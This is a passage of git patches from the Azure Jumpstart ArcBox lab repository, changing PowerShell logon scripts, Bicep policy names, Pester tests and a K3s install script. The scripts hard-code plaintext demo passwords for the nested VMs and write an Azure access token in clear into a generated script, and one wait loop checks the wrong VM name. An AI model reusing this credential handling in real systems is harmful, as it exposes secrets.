$Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName -Restart } -Credential $winCreds + Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName; Restart-Computer -Force -Wait } -Credential $winCreds + Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName; Restart-Computer -Force -Wait } -Credential $winCreds # Getting the Ubuntu nested VM IP address $Ubuntu01VmIp = Get-VM -Name $Ubuntu01vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 @@ -414,9 +414,9 @@ $payLoad = @" Write-Output "Renaming the nested Linux VMs" $ubuntuSession = New-SSHSession -ComputerName $Ubuntu01VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue $Command = "sudo hostnamectl set-hostname $ubuntu01vmName;sudo systemctl reboot" - $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output + $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 900 -WarningAction SilentlyContinue).Output - Start-Sleep -Seconds 15 + Start-Sleep -Seconds 20 # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." From c403c38f457f7345e3f9e65ef2c2de5dfd7e00e6 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 16:39:36 +0300 Subject: [PATCH 377/506] chore: Update Azure Update Manager policy assignment names for Linux and Windows hybrid machines --- azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep index 2baafaa765..f4cda24560 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep @@ -129,7 +129,7 @@ resource policy_tagging_resources 'Microsoft.Authorization/roleAssignments@2020- }] resource updateManagerArcPolicyLinux 'Microsoft.Authorization/policyAssignments@2024-04-01' = { - name: '(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines' + name: '(ArcBox) Enable Azure Update Manager for Linux hybrid machines' location: azureLocation scope: resourceGroup() identity: { @@ -148,7 +148,7 @@ resource updateManagerArcPolicyLinux 'Microsoft.Authorization/policyAssignments@ } resource updateManagerArcPolicyWindows 'Microsoft.Authorization/policyAssignments@2024-04-01' = { - name: '(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines' + name: '(ArcBox) Enable Azure Update Manager for Windows hybrid machines' location: azureLocation scope: resourceGroup() identity: { From 31e8d0876584eb027105e29113f934531c6d55db Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 17:01:23 +0300 Subject: [PATCH 378/506] chore: Refactor ArcServersLogonScript.ps1 for improved readability and reliability --- .../artifacts/ArcServersLogonScript.ps1 | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 3eda2213bf..a77f7239f4 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -177,9 +177,9 @@ if ($Env:flavor -ne "DevOps") { Start-Sleep -Seconds 5 Write-Header "Renaming the nested SQL VM" - Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName; Restart-Computer -Force -Wait } -Credential $winCreds + Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName -Restart} -Credential $winCreds - Start-Sleep -Seconds 15 + Start-Sleep -Seconds 20 # Download SQL assessment preparation script Invoke-WebRequest ($Env:templateBaseUrl + "artifacts/prepareSqlServerForAssessment.ps1") -OutFile $nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1 @@ -396,15 +396,17 @@ $payLoad = @" # Restarting Windows VM Network Adapters Write-Header "Restarting Network Adapters" - Start-Sleep -Seconds 20 + Start-Sleep -Seconds 10 Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds Start-Sleep -Seconds 5 # Renaming the nested VMs Write-Header "Renaming the nested Windows VMs" - Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName; Restart-Computer -Force -Wait } -Credential $winCreds - Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName; Restart-Computer -Force -Wait } -Credential $winCreds + Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName -Restart } -Credential $winCreds + Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName -Restart } -Credential $winCreds + + Start-Sleep -Seconds 20 # Getting the Ubuntu nested VM IP address $Ubuntu01VmIp = Get-VM -Name $Ubuntu01vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 From 2cf481b827cb5e94814daa25a275feb55d4b8104 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 14:06:32 +0000 Subject: [PATCH 379/506] Create desktop shortcut for Logs-folder Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 75bf375be2..28a524a15d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -49,6 +49,14 @@ $Shortcut.TargetPath = $WinTerminalPath $shortcut.WindowStyle = 3 $shortcut.Save() +# Create desktop shortcut for Logs-folder +$WshShell = New-Object -comObject WScript.Shell +$LogsPath = "C:\ArcBox\Logs" +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Logs.lnk") +$Shortcut.TargetPath = $LogsPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + # Configure Windows Terminal as the default terminal application $registryPath = "HKCU:\Console\%%Startup" From bfe220c05270125332125deb451439bf548afae4 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 17:06:38 +0300 Subject: [PATCH 380/506] chore: Refactor ArcServersLogonScript.ps1 for improved readability and reliability --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index a77f7239f4..4a1124ff3f 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -406,8 +406,6 @@ $payLoad = @" Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Rename-Computer -newName $using:Win2k19vmName -Restart } -Credential $winCreds Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Rename-Computer -newName $using:Win2k22vmName -Restart } -Credential $winCreds - Start-Sleep -Seconds 20 - # Getting the Ubuntu nested VM IP address $Ubuntu01VmIp = Get-VM -Name $Ubuntu01vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 $Ubuntu02VmIp = Get-VM -Name $Ubuntu02vmName | Select-Object -ExpandProperty NetworkAdapters | Select-Object -ExpandProperty IPAddresses | Select-Object -Index 0 @@ -418,7 +416,7 @@ $payLoad = @" $Command = "sudo hostnamectl set-hostname $ubuntu01vmName;sudo systemctl reboot" $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 900 -WarningAction SilentlyContinue).Output - Start-Sleep -Seconds 20 + Start-Sleep -Seconds 30 # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." From 87798665800ed529a0bd13af1b70fb27cc15d149 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 17:38:15 +0300 Subject: [PATCH 381/506] chore: Update sleep durations in ArcServersLogonScript.ps1 for faster network adapter restart and VM status check --- .../artifacts/ArcServersLogonScript.ps1 | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 4a1124ff3f..080444f446 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -396,10 +396,10 @@ $payLoad = @" # Restarting Windows VM Network Adapters Write-Header "Restarting Network Adapters" - Start-Sleep -Seconds 10 + Start-Sleep -Seconds 5 Invoke-Command -VMName $Win2k19vmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds Invoke-Command -VMName $Win2k22vmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds - Start-Sleep -Seconds 5 + Start-Sleep -Seconds 10 # Renaming the nested VMs Write-Header "Renaming the nested Windows VMs" @@ -416,7 +416,14 @@ $payLoad = @" $Command = "sudo hostnamectl set-hostname $ubuntu01vmName;sudo systemctl reboot" $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 900 -WarningAction SilentlyContinue).Output - Start-Sleep -Seconds 30 + do { + $win2k19Status=(Get-VM $Win2k19vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses + $win2k22Status=(Get-VM $Win2k19vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses + $ubuntu01Status = (Get-VM $ubuntu01vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses + $ubuntu02Status = (Get-VM $ubuntu02vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses + Write-Host "Waiting for the nested VMs to come back online...waiting for 5 seconds" + Start-Sleep -Seconds 5 + }until($win2k19Status -ne "" -and $win2k22Status -ne "" -and $ubuntu01Status -ne "" -and $ubuntu02Status -ne "") # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." From a86e53edc7f98383444698c20131418220a98cb2 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 17:40:34 +0300 Subject: [PATCH 382/506] chore: Update sleep durations in ArcServersLogonScript.ps1 for faster network adapter restart and VM status check --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 080444f446..831782f8c0 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -179,7 +179,11 @@ if ($Env:flavor -ne "DevOps") { Write-Header "Renaming the nested SQL VM" Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName -Restart} -Credential $winCreds - Start-Sleep -Seconds 20 + do { + $sqlVMStatus=(Get-VM $SQLvmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses + Write-Host "Waiting for the nested SQL VM to come back online...waiting for 5 seconds" + Start-Sleep -Seconds 5 + }until($sqlVMStatus -ne "") # Download SQL assessment preparation script Invoke-WebRequest ($Env:templateBaseUrl + "artifacts/prepareSqlServerForAssessment.ps1") -OutFile $nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1 From fe9bcf105c76d39fde725dca110fdcc0929f9646 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 17:42:40 +0300 Subject: [PATCH 383/506] chore: Update sleep durations in ArcServersLogonScript.ps1 for faster network adapter restart and VM status check --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 831782f8c0..ac7a1a6d26 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -172,9 +172,9 @@ if ($Env:flavor -ne "DevOps") { # Restarting Windows VM Network Adapters Write-Host "Restarting Network Adapters" - Start-Sleep -Seconds 20 - Invoke-Command -VMName $SQLvmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds Start-Sleep -Seconds 5 + Invoke-Command -VMName $SQLvmName -ScriptBlock { Get-NetAdapter | Restart-NetAdapter } -Credential $winCreds + Start-Sleep -Seconds 20 Write-Header "Renaming the nested SQL VM" Invoke-Command -VMName $SQLvmName -ScriptBlock { Rename-Computer -NewName $using:SQLvmName -Restart} -Credential $winCreds From 7961a7367c501690d47758f0f0f1f2a11d12a70d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 18:01:34 +0300 Subject: [PATCH 384/506] chore: Update sleep durations in ArcServersLogonScript.ps1 for faster network adapter restart and VM status check --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ac7a1a6d26..c9fb5b71b6 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -185,6 +185,8 @@ if ($Env:flavor -ne "DevOps") { Start-Sleep -Seconds 5 }until($sqlVMStatus -ne "") + Start-Sleep -Seconds 10 + # Download SQL assessment preparation script Invoke-WebRequest ($Env:templateBaseUrl + "artifacts/prepareSqlServerForAssessment.ps1") -OutFile $nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1 Copy-VMFile $SQLvmName -SourcePath "$Env:ArcBoxDir\prepareSqlServerForAssessment.ps1" -DestinationPath "$nestedVMArcBoxDir\prepareSqlServerForAssessment.ps1" -CreateFullPath -FileSource Host -Force @@ -429,6 +431,8 @@ $payLoad = @" Start-Sleep -Seconds 5 }until($win2k19Status -ne "" -and $win2k22Status -ne "" -and $ubuntu01Status -ne "" -and $ubuntu02Status -ne "") + Start-Sleep -Seconds 10 + # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." Copy-VMFile $Win2k19vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force From b7c980efeb9255c9f0b1a1f26d04cdb548748914 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 18:36:30 +0300 Subject: [PATCH 385/506] Update sleep durations in ArcServersLogonScript.ps1 for faster network adapter restart and VM status check --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index c9fb5b71b6..a6a2e4e4e0 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -427,8 +427,8 @@ $payLoad = @" $win2k22Status=(Get-VM $Win2k19vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses $ubuntu01Status = (Get-VM $ubuntu01vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses $ubuntu02Status = (Get-VM $ubuntu02vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses - Write-Host "Waiting for the nested VMs to come back online...waiting for 5 seconds" - Start-Sleep -Seconds 5 + Write-Host "Waiting for the nested VMs to come back online...waiting for 10 seconds" + Start-Sleep -Seconds 10 }until($win2k19Status -ne "" -and $win2k22Status -ne "" -and $ubuntu01Status -ne "" -and $ubuntu02Status -ne "") Start-Sleep -Seconds 10 From 343654338753dc7f6174e9e621c8e65125b1345d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 1 Aug 2024 18:45:02 +0300 Subject: [PATCH 386/506] Update sleep durations in ArcServersLogonScript.ps1 for faster network adapter restart and VM status check --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index a6a2e4e4e0..a327d5e55b 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -181,8 +181,8 @@ if ($Env:flavor -ne "DevOps") { do { $sqlVMStatus=(Get-VM $SQLvmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses - Write-Host "Waiting for the nested SQL VM to come back online...waiting for 5 seconds" - Start-Sleep -Seconds 5 + Write-Host "Waiting for the nested SQL VM to come back online...waiting for 10 seconds" + Start-Sleep -Seconds 10 }until($sqlVMStatus -ne "") Start-Sleep -Seconds 10 From 746c2b06096990a08d8a877673a2e75d8280be7b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 20:00:18 +0000 Subject: [PATCH 387/506] Updated VHD-files with new credentials Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 802d0d8b88..c87f365889 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -16,7 +16,7 @@ $resourceTags = $env:resourceTags $namingPrefix = $env:namingPrefix # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/*" +$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/preprod/*" # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" @@ -113,7 +113,7 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Creating VM Credentials" # Hard-coded username and password for the nested VMs $nestedWindowsUsername = "Administrator" - $nestedWindowsPassword = "ArcDemo123!!" + $nestedWindowsPassword = "JS123!!" # Create Windows credential object $secWindowsPassword = ConvertTo-SecureString $nestedWindowsPassword -AsPlainText -Force @@ -401,8 +401,8 @@ $payLoad = @" Write-Header "Creating VM Credentials" # Hard-coded username and password for the nested VMs - $nestedLinuxUsername = "arcdemo" - $nestedLinuxPassword = "ArcDemo123!!" + $nestedLinuxUsername = "jumpstart" + $nestedLinuxPassword = "JS123!!" # Create Linux credential object $secLinuxPassword = ConvertTo-SecureString $nestedLinuxPassword -AsPlainText -Force From 2a2fbb245029b9201a0a82d3924db58cffeb62a3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 1 Aug 2024 20:12:18 +0000 Subject: [PATCH 388/506] Disabled local user on storage account Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep index 368bfc372d..b72d1d060a 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep @@ -25,6 +25,7 @@ resource storageAccount 'Microsoft.Storage/storageAccounts@2022-05-01' = { kind: 'StorageV2' properties: { supportsHttpsTrafficOnly: true + isLocalUserEnabled: false } } From ca4d993c5d8ec0b139dcd188f47268a4ae530aa4 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 06:54:14 +0000 Subject: [PATCH 389/506] Update Pester module version requirement to 5.6.0 Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 index 018dc6fc11..ab954082b1 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -1,3 +1,5 @@ +#Requires -Modules @{ ModuleName="Pester"; ModuleVersion="5.6.0"} + $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" From 2459d3023442573afff2ed27105dee8063c6faf3 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 2 Aug 2024 09:12:07 -0400 Subject: [PATCH 390/506] add devops test --- .../artifacts/tests/devops.tests.ps1 | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 index e69de29bb2..ae764c98a3 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 @@ -0,0 +1,48 @@ + +BeforeDiscovery { + + $k3sArcDataClusterName = $env:k3sArcDataClusterName + $k3sArcClusterName = $env:k3sArcClusterName + + $clusters = @($k3sArcDataClusterName, $k3sArcClusterName) + $VMs = @($k3sArcDataClusterName, $k3sArcClusterName) + + $null = Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId + az config set extension.use_dynamic_install=yes_without_prompt +} + +Describe "" -ForEach $clusters { + BeforeAll { + $cluster = $_ + } + It "Cluster exists" { + $clusterObject = Get-AzConnectedKubernetes -ClusterName $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $clusterObject | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected cluster is connected" { + $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedCluster.ConnectivityStatus | Should -Be "Connected" + } +} + +Describe "" -ForEach $VMs { + BeforeAll { + $vm = $_ + } + It "VM exists" { + $vmobject = Get-VM -Name $vm + $vmobject | Should -Not -BeNullOrEmpty + } + It "VM is running" { + $vmobject = Get-VM -Name $vm + $vmobject.State | Should -Be "Running" + } + It "Azure Arc Connected Machine exists" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected Machine is connected" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine.Status | Should -Be "Connected" + } +} \ No newline at end of file From 3711e7c1876cd3058dc5712872f197498e0cee80 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 2 Aug 2024 13:06:04 -0400 Subject: [PATCH 391/506] add config for azcopy --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index fe3420a55c..acba6490b8 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -198,4 +198,4 @@ echo "" echo "Uploading the script logs to staging storage" echo "" log="/home/$adminUsername/jumpstart_logs/installK3s.log" -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" \ No newline at end of file +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerName/installK3s-$vmName.log" --check-length=false \ No newline at end of file From 9406387149497272129cb70f27e8a445da93d1ec Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 17:44:59 +0000 Subject: [PATCH 392/506] Update logic for VM status check Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index c87f365889..c458db50aa 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -430,14 +430,9 @@ $payLoad = @" $Command = "sudo hostnamectl set-hostname $ubuntu01vmName;sudo systemctl reboot" $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 900 -WarningAction SilentlyContinue).Output - do { - $win2k19Status=(Get-VM $Win2k19vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses - $win2k22Status=(Get-VM $Win2k19vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses - $ubuntu01Status = (Get-VM $ubuntu01vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses - $ubuntu02Status = (Get-VM $ubuntu02vmName | Select-Object networkAdapters -ExpandProperty networkadapters).IPAddresses - Write-Host "Waiting for the nested VMs to come back online...waiting for 10 seconds" - Start-Sleep -Seconds 10 - }until($win2k19Status -ne "" -and $win2k22Status -ne "" -and $ubuntu01Status -ne "" -and $ubuntu02Status -ne "") + Get-VM | Wait-VM -For IPAddress + + Write-Host "Waiting for the nested VMs to come back online...waiting for 10 seconds" Start-Sleep -Seconds 10 From f93d8d61f5175fc4878bedf8709b95228bcba4ba Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 19:33:45 +0000 Subject: [PATCH 393/506] Remove agent configuration for incoming connections on port 22, configured from ARM-side Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh | 3 --- 1 file changed, 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh index d211327abe..22de750af5 100644 --- a/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh +++ b/azure_jumpstart_arcbox/artifacts/installArcAgentUbuntu.sh @@ -15,6 +15,3 @@ ArcServerResourceName=$(hostname |sed -e "s/\b\(.\)/\u\1/g") # Run connect command azcmagent connect --access-token $accessToken --resource-group $resourceGroup --tenant-id $tenantId --location $Azurelocation --subscription-id $subscriptionId --resource-name "${ArcServerResourceName}" --cloud "AzureCloud" --correlation-id "d009f5dd-dba8-4ac7-bac9-b54ef3a6671a" - -# Configure the agent to allow connections on port 22 -azcmagent config set incomingconnections.ports 22 \ No newline at end of file From 75d3e96aa882b4c56284ba8df44515952a829038 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 2 Aug 2024 19:53:01 +0000 Subject: [PATCH 394/506] Update SSH key generation and copy for accessing nested Linux VMs Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index c458db50aa..5cf6de386a 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -445,10 +445,21 @@ $payLoad = @" $accessToken = ConvertFrom-SecureString ((Get-AzAccessToken -AsSecureString).Token) -AsPlainText (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$accessToken', "'$accessToken'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$tenantId', "'$Env:tenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" + Write-Output "Generating SSH key for accessing nested Linux VMs" + + ssh-keygen -t rsa -N '' -f 